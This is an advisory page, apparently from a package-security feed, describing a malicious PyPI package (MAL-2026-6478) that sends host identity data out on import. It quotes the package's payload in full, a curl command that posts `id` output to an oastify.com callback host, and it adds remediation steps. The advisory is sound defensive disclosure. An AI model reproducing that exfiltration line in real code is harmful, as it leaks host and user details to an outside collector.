# MAL-2026-6478: Malicious code in mi-test-99-tuapellido (PyPI)


- **Type:** Malicious package
- **Package:** `mi-test-99-tuapellido` (PyPI)
- **Published:** 25 Jun 2026

## What is MAL-2026-6478?

MAL-2026-6478 is a malicious package in mi-test-99-tuapellido, published on 25 Jun 2026. 

### Official description

On every import, the package's top-level __init__.py runs `os.system("curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $(id)")`. This unconditionally executes a shell pipeline that POSTs the output of the `id` command (current uid/gid/group membership) to a Burp Suite Collaborator (oastify.com) subdomain — an out-of-band callback service used to confirm remote code execution and exfiltrate data. The behavior fires on `import mi_test_99` with no user gating, no relation to any advertised functionality, over plaintext HTTP. Package metadata is placeholder-shaped (name contains the literal Spanish placeholder `tuapellido`/'your-surname', author fields are `Tu Nombre <tu@email.com>`, pyproject comment reads `CAMBIA ESTO por un nombre único`), consistent with a dependency-confusion or namespace-squat proof-of-concept payload. Whether intended as a test or a live attack, any installer that imports this package leaks host identity to an attacker-controlled collector and demonstrates an arbitrary-shell-exec channel.

Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.

---

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: GENERIC-standard-pypi-install-pentest

Reasons (based on the campaign):

 - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.

 - The package overrides the install command in setup.py to execute malicious code during installation.

The OpenSSF Package Analysis project identified 'mi-test-99-tuapellido' @ 99.9 (pypi) as malicious.

It is considered malicious because:

- The package communicates with a domain associated with malicious activity.

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-6478?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6478 is a malicious package: mi-test-99-tuapellido (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6478/ (Markdown: https://insights.sbomify.com/MAL-2026-6478/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6478

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-6478/
Summaries are generated and may contain mistakes; the official description above is the record.